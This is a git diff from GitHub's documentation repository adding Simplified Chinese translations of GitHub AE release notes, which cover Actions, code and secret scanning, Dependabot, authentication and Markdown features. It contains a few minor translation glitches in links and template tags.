资源。请联系帐户管理员或 {% data variables.contact.contact_enterprise_sales %} 验证你的 Azure 订阅资格。有关详细信息,请参阅“[设置 {% data variables.product.prodname_ghe_managed %} 试用版](/get-started/signing-up-for-github/setting-up-a-trial-of-github-ae#deploying-github-ae-with-the-azure-portal)”。 + +| + - heading: 'GitHub 操作' + notes: + - |[GitHub Actions](https://github.com/features/actions) 现已正式可用于 {% data variables.product.product_name %}。GitHub Actions 是一种用于 CI/CD 和工作流程自动化的强大而灵活的解决方案。有关详细信息,请参阅“[GitHub Actions 简介](/actions/learn-github-actions/introduction-to-github-actions)”。 + +| + - |自托管运行器是 {% data variables.product.product_name %} 上默认的运行器系统类型,现已正式可用于 GitHub Actions。使用自托管运行器,你可以管理自己的计算机或容器以执行 GitHub Actions 作业。有关详细信息,请参阅“[关于自托管运行器](https://docs.github.com/en/github-ae@latest/actions/hosting-your-own-runners/about-self-hosted-runners)”和“[添加自托管运行器](/actions/hosting-your-own-runners/adding-self-hosted-runners)”。 + +| + - |环境、环境保护规则和环境机密现已正式可用于 {% data variables.product.product_name %} 上的 GitHub Actions。有关详细信息,请参阅“[环境](/actions/reference/environments)”。 + +| + - |GitHub Actions 现在可以在每次运行时生成工作流的可视化图。通过工作流程可视化,可以实现以下操作。 + + + +- 查看并了解复杂的工作流。 + +- 实时跟踪工作流的进度。 + +- 通过轻松访问日志和作业元数据快速运行故障排除。 + +- 监视部署作业的进度,轻松访问部署目标。 + + + +有关详细信息,请参阅“[使用可视化效果图](/actions/managing-workflow-runs/using-the-visualization-graph)”。 + +| + - |现在利用 GitHub Actions 可以控制授予 `GITHUB_TOKEN` 机密的权限。`GITHUB_TOKEN` 是自动生成的机密,通过它可以在工作流运行中对 {% data variables.product.product_name %} 的 API 进行经过身份验证的调用。GitHub Actions 为每个作业生成一个新令牌,并使该令牌在作业完成时过期。令牌对许多 [API 终结点](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token)具有 `write` 权限,但来自分支的拉取请求除外,对这些拉取请求的权限始终为 `read`。通过这些新设置可在工作流中遵循最小特权原则。有关详细信息,请参阅“[工作流中的身份验证](/actions/reference/authentication-in-a-workflow#modifying-the-permissions-for-the-github_token)”。 + +| + - |GitHub Actions 现在支持通过在提交消息中查找一些常见关键字来跳过 `push` 和 `pull_request` 工作流。 + +| + - |GitHub CLI 1.9 及更高版本允许在终端中使用 GitHub Actions。有关详细信息,请参阅 [{% data variables.product.prodname_blog %}](https://github.blog/changelog/2021-04-15-github-cli-1-9-enables-you-to-work-with-github-actions-from-your-terminal/)。 + +| + - heading: '代码扫描' + notes: + - |{% data variables.product.product_name %} 中的代码扫描目前为 beta 版本。有关详细信息,请参阅“[关于代码扫描](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning)”。 + +| + - heading: '机密扫描' + notes: + - |现在可以使用 {% data variables.product.product_name %} 上的自定义模式的 beta 版本指定自己的机密扫描模式。你可以为存储库、组织和整个企业指定模式。指定新模式时,机密扫描会在存储库的整个 Git 历史记录中搜索该模式以及任何新提交。有关详细信息,请参阅“[定义机密扫描的自定义模式](/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning)”。 + +| + - heading: 'GitHub Connect' + notes: + - |现提供适用于 {% data variables.product.product_name %} 的 beta 版 GitHub Connect。GitHub Connect 让 {% data variables.product.product_location %} 享有世界上最大的开源代码社区。可以允许用户在 {% data variables.product.product_name %} 上查看 {% data variables.product.prodname_dotcom_the_website %} 中的搜索结果,在 {% data variables.product.prodname_dotcom_the_website %} 上显示 {% data variables.product.product_name %} 中的贡献计数,并从 {% data variables.product.prodname_dotcom_the_website %} 使用 GitHub Actions。有关详细信息,请参阅“[管理企业帐户之间的连接](/admin/configuration/managing-connections-between-your-enterprise-accounts)”。 + +| + - heading: 'GitHub Packages' + notes: + - |现在可以从 {% data variables.product.product_name %} 的 Web UI 中删除 GitHub Packages 的任何包或包版本。还可以在 30 天内撤消删除任何包或包版本。有关详细信息,请参阅“[删除和还原包](/packages/learn-github-packages/deleting-and-restoring-a-package)”。 + +| + - |GitHub Packages 和 {% data variables.product.prodname_dotcom_the_website %} 的 npm 注册表不再返回元数据响应的时间值,从而可以大幅改善性能。{% data variables.product.company_short %} 未来将继续返回时间值。 + +| + - heading: '审核日志记录' + notes: + - |拉取请求事件和拉取请求审查事件现在包含在[企业](/admin/user-management/monitoring-activity-in-your-enterprise/audited-actions)和[组织](/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization)的审核日志中。这些事件可帮助管理员更好地监视拉取请求活动并确保满足安全性和合规性要求。事件可以从 Web UI 查看,以 CSV 或 JSON 格式导出,或通过 REST API 访问。还可以搜索特定拉取请求事件的审核日志。 + +| + - |GitHub Actions 的其他事件现在包含在[企业](/admin/user-management/monitoring-activity-in-your-enterprise/audited-actions)和[组织](/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization)的审核日志中。 + + + +- 工作流已删除或重新运行。 + +- 自托管运行器的版本已更新。 + +| + - heading: '身份验证' + notes: + - |GitHub AE 现在正式支持通过 Okta 进行 SAML 单一登录 (SSO) 和使用 SCIM 进行用户预配。你还可以在 GitHub AE 中将 Okta 中的组映射到团队。有关详细信息,请参阅“[使用 Okta 为企业配置身份验证和预配](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/configuring-authentication-and-provisioning-for-your-enterprise-using-okta)”和“[将 Okta 组映射到团队](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/mapping-okta-groups-to-teams)”。 + +| + - |{% data variables.product.product_name %} 的身份验证令牌的格式已更改。此更改将影响个人访问令牌的格式和 OAuth 应用的访问令牌,以及 GitHub 应用的用户到服务器令牌、服务器到服务器令牌和刷新令牌。{% data variables.product.company_short %} 建议尽快更新现有令牌,以提高安全性并允许机密扫描检测令牌。有关详细信息,请参阅“[关于向 {% data variables.product.prodname_dotcom %} 进行身份验证](/github/authenticating-to-github/keeping-your-account-and-data-secure/about-authentication-to-github#githubs-token-formats)”和“[关于机密扫描](/code-security/secret-security/about-secret-scanning)”。 + +| + - |现在可通过向帐户添加 `sk-ecdsa-sha2-nistp256@openssh.com` SSH 密钥,使用 FIDO2 安全密钥对与 {% data variables.product.product_name %} 的 SSH 连接进行身份验证。SSH 安全密钥将密钥材料存储在需要验证(例如点击)才能操作的单独硬件设备上。将密钥存储在单独的硬件上并要求 SSH 密钥进行物理交互可提供额外的安全性。由于密钥存储在硬件上且不可提取,因此计算机上运行的软件无法读取或盗用密钥。由于安全密钥在你与它进行物理交互之前不会运行,因此物理交互可防止未经授权使用密钥。有关详细信息,请参阅“[生成新的 SSH 密钥并将其添加到 ssh-agent](/github/authenticating-to-github/connecting-to-github-with-ssh/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent#generating-a-new-ssh-key-for-a-hardware-security-key)”。 + +| + - |Git Credential Manager (GCM) Core 版本 2.0.452 及更高版本现在为 {% data variables.product.product_name %} 提供安全的凭据存储和多重身份验证支持。[Git for Windows](https://gitforwindows.org) 版本 2.32 及更高版本中提供具有 {% data variables.product.product_name %} 支持的 GCM Core。Git for macOS 或 Git for Linux 中不提供 GCM Core,但它可以单独安装。有关详细信息,请参阅 `microsoft/Git-Credential-Manager-Core` 存储库中的[最新发布](https://github.com/microsoft/Git-Credential-Manager-Core/releases/)和[安装说明](https://github.com/microsoft/Git-Credential-Manager-Core/releases/)。 + +| + - heading: '通知' + notes: + - |现在可以配置需要在 {% data variables.product.product_name %} 上发出有关哪些事件的通知。在任何存储库中,选择 {% octicon "file-code" aria-label="The code icon" %}“关注”下拉列表,然后单击“自定义”********。有关详细信息,请参阅“[配置通知](/github/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications)”。 + +| + - heading: '问题和拉取请求' + notes: + - |使用[最新版本的 Octicons](https://github.com/primer/octicons/releases) 时,问题和拉取请求的状态现在更加一目了然,因此你可以更轻松地扫描状态。有关详细信息,请参阅 [{% data variables.product.prodname_blog %}](https://github.blog/changelog/2021-06-08-new-issue-and-pull-request-state-icons/)。 + +| + - |现在可通过选择“对话”下拉菜单在拉取请求的“文件”选项卡中查看所有拉取请求审查评论********。还可以要求在任何人合并拉取请求之前解决所有拉取请求审查评论。有关详细信息,请参阅“[关于拉取请求审查](/github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews#discovering-and-navigating-conversations)”和“[关于受保护分支](/github/administering-a-repository/defining-the-mergeability-of-pull-requests/about-protected-branches#require-conversation-resolution-before-merging)”。 若要详细了解如何通过 API 管理分支保护设置,请参阅 REST API 文档中的“[分支](/rest/reference/branches#get-branch-protection)”和 GraphQL API 文档中的“[突变](/graphql/reference/mutations#createbranchprotectionrule)”。 + +| + - |现在可在 {% data variables.product.product_name %} 上编写 Markdown 的任何位置上传视频文件。在问题和拉取请求评论以及存储库内的 Markdown 文件(例如 README)中共享演示,显示复制步骤等。有关详细信息,请参阅“[附加文件](/github/writing-on-github/working-with-advanced-formatting/attaching-files)”。 + +| + - |现在,要求超过 100 名成员的团队进行审查时,{% data variables.product.product_name %} 会显示一个确认对话框,用于防止大型团队收到不必要的通知。 + +| + - |当问题或拉取请求的潜在代理人少于 30 人时,代理人控件将列出所有潜在用户,而不是一组有限的建议。此行为有助于小型组织中的人员快速找到相应的用户。若要详细了解为用户分配问题和拉取请求,请参阅“[向其他 {% data variables.product.company_short %} 用户分配问题和拉取请求](/issues/tracking-your-work-with-issues/managing-issues/assigning-issues-and-pull-requests-to-other-github-users#assigning-an-individual-issue-or-pull-request)”。 + +| + - |现在可以在问题或拉取请求评论的 `#` 后包括多个单词以进一步缩小搜索范围。若要关闭所有建议,请按 Esc 键。 + +| + - |为了防止在为拉取请求启用自动合并后合并意外更改,现在当没有存储库写入权限的用户推送新更改时,系统将自动禁用自动合并。启用自动合并后,没有写入权限的用户仍然可以使用来自基本分支的更改更新拉取请求。为防止恶意用户使用合并冲突将意外更改引入拉取请求,在更新导致合并冲突时,{% data variables.product.product_name %} 将禁用拉取请求自动合并。有关自动合并的更多信息,请参阅“[自动合并拉取请求](/github/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/automatically-merging-a-pull-request)”。 + +| + - |具有维护权限的用户可以管理存储库级别的“允许自动合并”设置。此设置(默认关闭)控制自动合并是否可用于存储库中的拉取请求。以前只有具有管理员权限的用户可以管理此设置。此外,现在可以使用“[创建存储库](/rest/reference/repos#create-an-organization-repository)”和“[更新存储库](/rest/reference/repos#update-a-repository)”REST API 控制此设置。有关详细信息,请参阅“[管理存储库中的拉取请求自动合并](/github/administering-a-repository/configuring-pull-request-merges/managing-auto-merge-for-pull-requests-in-your-repository)”。 + +| + - |问题和拉取请求的代理人选择功能现在支持提前键入搜索,从而可以更快地找到组织中的用户。此外,搜索结果排名已经更新,以优先排列以用户的用户名或个人资料名称开头的匹配项。 + +| + - heading: '存储库' + notes: + - |查看文件的提交历史记录时,现在可以单击 {% octicon "file-code" aria-label="The code icon" %} 以在存储库历史记录中查看指定时间的文件。 + +| + - |现在可使用 Web UI 将分支的过期分支与分支的上游分支同步。如果分支之间没有合并冲突,则 {% data variables.product.product_name %} 通过快进或从上游合并来更新分支。如果存在冲突,{% data variables.product.product_name %} 将提示你打开拉取请求解决冲突。有关详细信息,请参阅“[同步分支](/github/collaborating-with-pull-requests/working-with-forks/syncing-a-fork#syncing-a-fork-from-the-web-ui)”。 + +| + - |现在可以按星级排序用户或组织配置文件中的存储库。 + +| + - |存储库 REST API 的“比较两个提交”终结点现在支持分页,该终结点返回从一个提交或分支可访问但从另一个提交或分支无法访问的提交列表。该 API 现在还可以返回超过 250 次提交的比较结果。有关详细信息,请参阅 REST API 文档“[提交](/rest/reference/commits#compare-two-commits)”和“[使用分页遍历](/rest/guides/traversing-with-pagination)”。 + +| + - |如果在 {% data variables.product.product_location %} 中使用相对路径定义了子模块,现在可以在 Web UI 中单击该子模块。单击 Web UI 中的子模块会定向到链接的存储库。以前只能单击具有绝对 URL 的子模块。支持具有相同所有者且遵循模式 ../REPOSITORY 的存储库的相对路径或具有不同所有者且遵循模式 ../OWNER/REPOSITORY 的存储库的相对路径。有关使用子模块的详细信息,请参阅 {% data variables.product.prodname_blog %} 上的[使用子模块](https://github.blog/2016-02-01-working-with-submodules/)。 + +| + - |通过预先计算校验和,存储库处于锁定状态的时间大大减少,从而让更多的写入操作立即成功并改进单存储库性能。 + +| + - heading: '发行版本' + notes: + - |现在可以在 {% data variables.product.product_name %} 中用表情符号对所有发行版本做出反应。有关详细信息,请参阅“[关于发行版本](/github/administering-a-repository/releasing-projects-on-github/about-releases)”。 + +| + - heading: '主题' + notes: + - |深色和暗色主题现在可用于 Web UI。未在 {% data variables.product.product_name %} 中设置主题偏好时,{% data variables.product.product_name %} 将匹配你的系统偏好。还可自定义在白天和晚上处于活跃状态的主题。有关详细信息,请参阅“[管理主题设置](/github/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-your-theme-settings)”。 + +| + - heading: 'Markdown' + notes: + - |现在,当存储库中的 Markdown 文件有 2 个或更多标题时,该文件将在标题中自动生成目录。目录是交互式的并且链接到相应部分。支持所有 6 个 Markdown 标题级别。有关详细信息,请参阅“[关于 README](/github/creating-cloning-and-archiving-repositories/creating-a-repository-on-github/about-readmes#auto-generated-table-of-contents-for-readme-files)”。 + +| + - |问题和拉取请求的标题中现在支持 `code` 标记。问题或拉取请求标题出现在 {% data variables.product.product_name %} 的 Web UI 中时,反引号内的文本 (`` ` ``) 将以固定宽度字体呈现。 + +| + - |在文件、问题、拉取请求或评论中编辑 Markdown 时,现在可以使用键盘快捷键插入代码块。键盘快捷键在 Mac 上为 command + E,在其他设备上为 Ctrl + E。有关详细信息,请参阅“[基本写入和格式化语法](/github/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax#quoting-code)”。 + +| + - |可以将 `?plain=1` 附加到任何 Markdown 文件的 URL 以显示该文件,而不进行渲染和显示行号。可使用普通视图将其他用户链接到特定行。例如,附加 `?plain=1#L52` 将突出显示纯文本 Markdown 文件的第 52 行。有关详细信息,请参阅“[创建指向代码片段的永久链接](/github/writing-on-github/working-with-advanced-formatting/creating-a-permanent-link-to-a-code-snippet#linking-to-markdown)”。 + +| + - heading: 'GitHub 应用' + notes: + - |用于创建安装访问令牌的 API 请求现在遵循企业或组织的 IP 允许列表。使用安装访问令牌对组织中安装的 GitHub 应用发出的任何 API 请求都已遵循 IP 允许列表。此功能当前不涉及 {% data variables.product.company_short %} 支持为 {% data variables.product.product_location %} 配置的任何 Azure 网络安全组 (NSG) 规则。有关详细信息,请参阅 REST API 文档中的“[限制流入企业的网络流量](/admin/configuration/configuring-your-enterprise/restricting-network-traffic-to-your-enterprise#about-ip-allow-lists)”、“[管理组织允许的 IP 地址](/organizations/keeping-your-organization-secure/managing-allowed-ip-addresses-for-your-organization)”和“[应用](https://docs.github.com/en/rest/reference/apps#create-an-installation-access-token-for-an-app)”。 + +| + - heading: 'Webhook' + notes: + - |现在可以通过 REST API 以编程方式重新发送或检查 Webhook 的状态。有关详细信息,请参阅 REST API 文档中的“[存储库](https://docs.github.com/en/rest/reference/repos#webhooks)”、“[组织](https://docs.github.com/en/rest/reference/orgs#webhooks)”和“[应用](https://docs.github.com/en/rest/reference/apps#webhooks)”。 + +| diff --git a/translations/zh-CN/data/release-notes/github-ae/2022-05/2022-05-17.yml b/translations/zh-CN/data/release-notes/github-ae/2022-05/2022-05-17.yml new file mode 100644 index 0000000000..384faf0adc --- /dev/null +++ b/translations/zh-CN/data/release-notes/github-ae/2022-05/2022-05-17.yml @@ -0,0 +1,248 @@ +date: '2022-05-17' +friendlyDate: '2022 年 5 月 17 日' +title: '2022 年 5 月 17 日' +currentWeek: true +sections: + features: + - heading: 'GitHub Advanced Security 功能正式发布' + notes: + - |代码扫描和机密扫描现针对 GitHub AE 正式发布。有关详细信息,请参阅“[关于代码扫描](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning)”和“[关于机密扫描](/code-security/secret-scanning/about-secret-scanning)”。 + +| + - |机密扫描的自定义模式现正式发布。有关详细信息,请参阅“[定义机密扫描的自定义模式](/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning)”。 + +| + - heading: '查看拉取请求的所有代码扫描警报' + notes: + - |现在,你可以在代码扫描警报页面上通过新的拉取请求筛选器找到与你的拉取请求相关的所有代码扫描警报。拉取请求检查页面显示拉取请求中引入的警报,但不显示拉取请求分支上的现有警报。 “检查”页面上的“查看所有分支警报”新链接可以转到代码扫描警报页面,其中已经应用了特定拉取请求筛选器,因此你可以看到与拉取请求相关的所有警报。这对于管理大量警报和查看单个警报的更详细信息非常有用。有关详细信息,请参阅“[管理存储库的代码扫描警报](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository#filtering-code-scanning-alerts)”。 + +| + - heading: '组织安全概览' + notes: + - |GitHub Advanced Security 现提供通过代码扫描、Dependabot 和机密扫描检测到的应用程序安全风险的组织级别视图。安全概览显示每个存储库上安全功能的启用状态以及检测到的警报数量。 + + + +此外,安全概览将列出组织级别的所有机密扫描警报。Dependabot 和代码扫描警报的类似视图将在未来的版本中发布。有关详细信息,请参阅“[关于安全概览](/code-security/security-overview/about-the-security-overview)”。 + + + +![安全概览的屏幕截图](/assets/images/enterprise/3.2/release-notes/security-overview-UI.png) + +| + - heading: '依赖项关系图' + notes: + - |依赖项关系图现已在 GitHub AE 上提供。依赖项关系图通过解析签入存储库的依赖项清单,帮助你了解所依赖的开源软件。有关详细信息,请参阅“[关于依赖项关系图](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph)”。 + +| + - heading: 'Dependabot 警报' + notes: + - |Dependabot 警报现在会就 GitHub AE 上的依赖项漏洞通知你。可以通过启用依赖项关系图、启用 GitHub Connect 和从 GitHub 顾问数据库同步漏洞来启用 Dependabot 警报。此功能为 beta 版本,可能会有变动。有关详细信息,请参阅“[关于 Dependabot 警报](/code-security/dependabot/dependabot-alerts/about-dependabot-alerts)”。 + + + +启用 Dependabot 警报后,当影响组织成员依赖项的新漏洞被添加到 GitHub 顾问数据库或易受攻击的依赖项被添加到其清单中时,他们将收到通知。成员可以自定义通知设置。有关详细信息,请参阅“[为 % data variables.product.prodname_dependabot_alerts %} 配置通知](/code-security/dependabot/dependabot-alerts/configuring-notifications-for-dependabot-alerts)”。 + +| + - heading: '组织安全管理员角色' + notes: + - |组织现在可以授权团队管理其所有存储库上的安全警报和设置。“安全管理员”角色可以应用到任何团队,并授予团队成员以下权限。 + + + +- 对组织中所有存储库的读取访问 + +- 对组织中所有安全警报的写入访问 + +- 对组织级“安全性”选项卡的访问 + +- 在组织级别对安全设置的写入权限 + +- 在存储库级别对安全设置的写入权限 + + + +有关详细信息,请参阅“[管理组织中的安全管理员](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/managing-security-managers-in-your-organization)”。 + +| + - heading: 'GitHub Actions 临时运行器和自动缩放 Webhook' + notes: + - |GitHub AE 现支持临时(单个作业)自承载运行器和一个新的[“workflow_job”](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#workflow_job) Webhook,以便更轻松地自动缩放运行器。 + + + +临时运行器适合自托管环境,其中每个作业都需要在干净的映像上运行。作业运行后,GitHub AE 会自动注销临时运行器,允许你执行任何作业后管理。 + + + +可以将临时运行器与新的“workflow_job”Webhook 组合在一起来自动缩放自承载运行器,以响应来自 GitHub Actions 的作业请求。 + + + +有关详细信息,请参阅“[使用自承载运行器自动缩放](/actions/hosting-your-own-runners/ Autoscaling -with-self- hosting- runners)”和“[Webhook 事件和有效负载](/developers/ Webhook -and-events/ Webhook -events-and-payloads#workflow_job)”。 + +| + - heading: 'GitHub Actions 复合操作' + notes: + - |通过使用复合来引用其他操作,可以减少工作流中的重复工作量。以前,用 YAML 编写的操作只能使用脚本。有关详细信息,请参阅“[创建复合操作](/actions/creating-actions/creating-a-composite-action)”。 + +| + - heading: '管理自承载运行器的新令牌范围' + notes: + - |在企业级别管理自承载运行器不再需要使用具有“admin:enterprise”范围的个人访问令牌。可以使用“新 manage_runners:enterprise”范围来限制令牌上的权限。具有此范围的令牌可以对许多 REST API 终结点进行身份验证,以管理企业的自承载运行器。 + +| + - heading: '可通过 REST API 访问审核日志' + notes: + - |现在可以使用 REST API 以编程方式与审核日志连接。虽然审核日志转发使你能够使用自己的工具包保留和分析数据并随时间的推移确定模式,但新的 REST API 将帮助你对最近历史记录中发生的值得注意的事件执行有限的分析。有关详细信息,请参阅“[审查组织的审核日志](/organizations/keeping-your-organization-secure/ management -security-settings- For -organization/ checking -the-audit-log- For -organization#using-the-rest-api)”。 + +| + - heading: '个人访问令牌到期日期' + notes: + - |现在可以为新的和现有的个人访问令牌设置到期日期。当需要续订即将到期的令牌时,GitHub AE 会向你发送电子邮件。可以重新生成已到期的令牌,为你提供具有与原始令牌相同属性的副本令牌。当使用带有 GitHub AE API 的令牌时,你会看到一个新标题“GitHub-Authentication-Token-Expiration”,指示令牌的过期日期。你可以在脚本中使用它,例如,在到期日期临近时记录警告消息。有关详细信息,请参阅“[创建个人访问令牌](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token)”和“[REST API 入门](/rest/guides/getting-started-with-the-rest-api#using-personal-access-tokens)”。 + +| + - heading: '导出具有存储库访问权限的人员列表' + notes: + - |组织所有者现在可以 CSV 格式导出具有存储库访问权限的人员列表。有关详细信息,请参阅“[查看有权访问存储库的人员](/organizations/managing-access-to-your-organizations-repositories/viewing-people-with-access-to-your-repository#exporting-a-list-of-people-with-access-to-your-repository)”。 + +| + - heading: '改进了代码评审分配管理' + notes: + - |管理代码评审分配的新设置有助于在团队成员之间分配团队的拉取请求评审,这样评审就不只是一两个团队成员的责任了。 + + + +-子团队成员:只分配给团队的直接成员。以前,团队评审请求可以分配给团队的直接成员或子团队的成员。 + +- 现有请求计数:即使已请求一个或多个团队成员,也会继续自动分配。在此之前,已请求的团队成员将被计为团队自动评审请求中的一个。 + +- 团队评审请求:指定一个团队负责评审,即使新指定了一个或多个成员。 + + + +有关详细信息,请参阅“[管理团队的代码评审设置](/organizations/organizing-members-into-teams/managing-code-review-settings-for-your-team)”。 + +| + - heading: '新主题' + notes: + - |两个新主题可用于 GitHub AE Web UI。 + + + +- 一个在前景和背景元素之间有更大对比度的深色高对比度主题 + +- 浅色和深色色盲,将红色和绿色之类的颜色转换为橙色和蓝色 + + + +有关详细信息,请参阅“[管理主题设置](/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-your-theme-settings)”。 + +| + - heading: 'Markdown 改进' + notes: + - |现在,你可以在任何 Markdown 字段中使用脚注语法来引用相关信息,而不会中断散文流。脚注显示为上标链接。单击脚注可跳转到引用,该引用显示在文档底部的新建部分中。有关详细信息,请参阅“[基本写入和格式化语法](/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax#footnotes)”。 + +| + - |现在可以通过 Web UI 在源视图和呈现的 Markdown 视图之间进行切换,方法是单击 {% octicon "code" aria-label="The Code icon" %} 按钮,以在任何 Markdown 文件顶部“显示源差异”。以前,你需要使用意见视图链接到 Markdown 文件源中的特定行号。 + +| + - |GitHub AE 现在根据标题自动为 Wikis 生成一个目录。 + +| + changes: + - heading: '性能' + notes: + - |对于有很多 Git 引用的存储库,页面加载和作业现在显著更快。 + +| + - heading: '管理' + notes: + - |改进了用户模拟过程。现在,模拟会话需要模拟理由,操作将被记录到审核日志中,因为由模拟用户执行,被模拟的用户将收到一封电子邮件通知,说明他们已被企业所有者模拟。有关详细信息,请参阅“[模拟用户](/admin/user-management/managing-users-in-your-enterprise/impersonating-a-user)”。 + +| + - heading: 'GitHub 操作' + notes: + - |当使用通过 GitHub Connect 从 GitHub AE 解析到 GitHub.com 的操作时,为了缓解内部中间人攻击,GitHub AE 在使用时停用了操作命名空间(“OWNER/NAME”)。停用命名空间可以防止在企业中创建该命名空间,并确保所有引用该操作的工作流都将从 GitHub.com 下载它。有关详细信息,请参阅“[使用 GitHub Connect 启用对 GitHub.com 操作的自动访问](/admin/github-actions/managing-access-to-actions-from-githubcom/enabling-automatic-access-to-githubcom-actions-using-github-connect#automatic-retirement-of-namespaces-for-actions-accessed-on-githubcom)”。 + +| + - |审核日志现在包含 GitHub Actions 的附加事件。GitHub AE 现记录以下事件的审核日志条目。 + + + +- 注册或移除自承载运行器。 + +- 将自承载运行器添加到运行器组中或从运行器组中删除。 + +- 创建或移除运行器组。 + +- 创建或完成工作流运行。 + +- 工作流作业准备就绪。重要的是,该日志包括提供给运行器的机密列表。 + + + +有关详细信息,请参阅“[GitHub Actions 安全性增强](/actions/security-guides/security-hardening-for-github-actions)”。 + +| + - heading: 'GitHub 高级安全' + notes: + - |代码扫描现在尽可能将“on:push”工作流中识别的警报映射到拉取请求中,以在其中显示。 在拉取请求中显示的警报是通过比较对分支头的现有分析与对你要合并的目标分支的分析来确定的。请注意,如果没有使用拉取请求的合并提交,警报的准确性可能低于使用“on:pull_request”触发器的方法。有关详细信息,请参阅“[关于使用 CodeQL 进行代码扫描](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql)”。 + + + +其他一些 CI/CD 系统可以专门配置为在代码被推送到分支时触发管道,甚至专门配置为在每次提交时触发管道。每当触发此类分析管道并将结果上传到 SARIF API 时,代码扫描将尝试将分析结果与一个打开的拉取请求相匹配。如果找到一个打开的拉取请求,结果发布将如上所述。有关详细信息,请参阅“[将 SARIF 文件上传到 GitHub](/code-security/code-scanning/integrating-with-code-scanning/uploading-a-sarif-file-to-github)”。 + +| + - |GitHub AE 现在检测来自其他提供商的机密。有关详细信息,请参阅“[机密扫描模式](/code-security/secret-scanning/secret-scanning-patterns#supported-secrets)”。 + +| + - heading: '拉取请求' + notes: + - |现在,拉取请求页面上的时间线和审阅者边栏将指示评审请求是否自动分配给了一个或多个团队成员,因为该团队使用代码评审分配。 + + + +![代码评审自动分配指示器的屏幕截图](https://user-images.githubusercontent.com/2503052/134931920-409dea07-7a70-4557-b208-963357db7a0d.png) + +| + - |现在可以通过选择**“待评审”**来筛选拉取请求搜索,以只包含直接请求评审的拉取请求。有关详细信息,请参阅“[搜索问题和拉取请求](https://docs.github.com/en/search-github/searching-on-github/searching-issues-and-pull-requests)”。 + +| + - |如果在使用分支选择器菜单时指定了分支的确切名称,那么结果现在会显示在匹配分支列表顶部。以前,确切的分支名称匹配项可能显示在列表底部。 + +| + - |当查看具有相应打开的拉取请求的分支时,GitHub AE 现在会直接链接到该拉取请求。以前,会有一个提示促使使用分支比较或打开新的拉取请求。 + +| + - |现在可以单击一个按钮将文件的全部原始内容复制到剪贴板。以前,你需要打开原始文件,选择所有,然后复制。若要复制文件内容,请导航到文件并单击工具栏。注意,此功能目前仅适用于某些浏览器。 + +| + - |现在,在查看包含双向 Unicode 文本的文件时,会显示警告。双向 Unicode 文本的解释或编译方式可以与它在用户界面中显示的方式不同。例如,可以使用隐藏的双向 Unicode 字符来交换文件中的文本段。有关替换这些字符的详细信息,请参阅 [GitHub 更改日志](https://github.blog/changelog/2021-10-31-warning-about-bidirectional-unicode-text/)。 + +| + - heading: '存储库' + notes: + - |GitHub AE 现包括对 _CITATION.cff_ 文件的增强支持。_CITATION.cff_ 文件是纯文本文件,包含人机可读的引用信息。GitHub AE 将这些信息解析为简便格式,如可由他人复制的 [APA](https://apastyle.apa.org) 和 [BibTeX](https://en.wikipedia.org/wiki/BibTeX)。有关详细信息,请参阅“[关于 CITATION 文件](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-citation-files)”。 + +| + - |现在可以通过存储库 API 的自动链接终结点添加、删除或查看自动链接。有关详细信息,请参阅 REST API 文档中的“[自动链接文档和 URL](/get-started/writing-on-github/working-with-advanced-formatting/autolinked-references-and-urls)”和“[存储库](/rest/reference/repos#autolinks)”。 + +| + - heading: '发行版本' + notes: + + - |GitHub 版本的标签选择组件现在是一个下拉菜单,而不是文本字段。有关详细信息,请参阅“[管理存储库中的发布](/repositories/releasing-projects-on-github/managing-releases-in-a-repository#creating-a-release)”。 + +| + - heading: 'Markdown' + notes: + + - |将图像和视频等文件拖放到 Markdown 编辑器中时,GitHub AE 现在在放置文件时使用鼠标指针位置(而不是光标位置)。 + +| + - heading: 'REST API' + notes: + - |REST API 预览现已完结,并成为 API 的正式组成部分。REST API 终结点不再需要预览报头,但如果你继续在请求的“Accept”标头中指定已完结预览,那么它仍将按预期发挥作用。 + +| diff --git a/translations/zh-CN/data/reusables/actions/about-actions-for-enterprises.md b/translations/zh-CN/data/reusables/actions/about-actions-for-enterprises.md index ff8b663350..928d513eee 100644 --- a/translations/zh-CN/data/reusables/actions/about-actions-for-enterprises.md +++ b/translations/zh-CN/data/reusables/actions/about-actions-for-enterprises.md @@ -1 +1,9 @@ -{% data variables.product.prodname_actions %} allows {% ifversion ghec or ghae %}members of your enterprise{% elsif ghes %}people who use {% data variables.location.product_location %}{% endif %} to improve productivity by automating every phase of the software development workflow. +--- +ms.openlocfilehash: 9848eca24695b7fb33afcf43bc447c7538f5fc71 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145098633" +--- +利用 {% data variables.product.prodname_actions %},使用你的 {% data variables.product.product_location %}{% endif %} 实例的{% ifversion ghec or ghae %}企业成员{% elsif ghes %}人员可通过自动化软件开发工作流的每个阶段来提高工作效率。 diff --git a/translations/zh-CN/data/reusables/actions/actions-billing.md 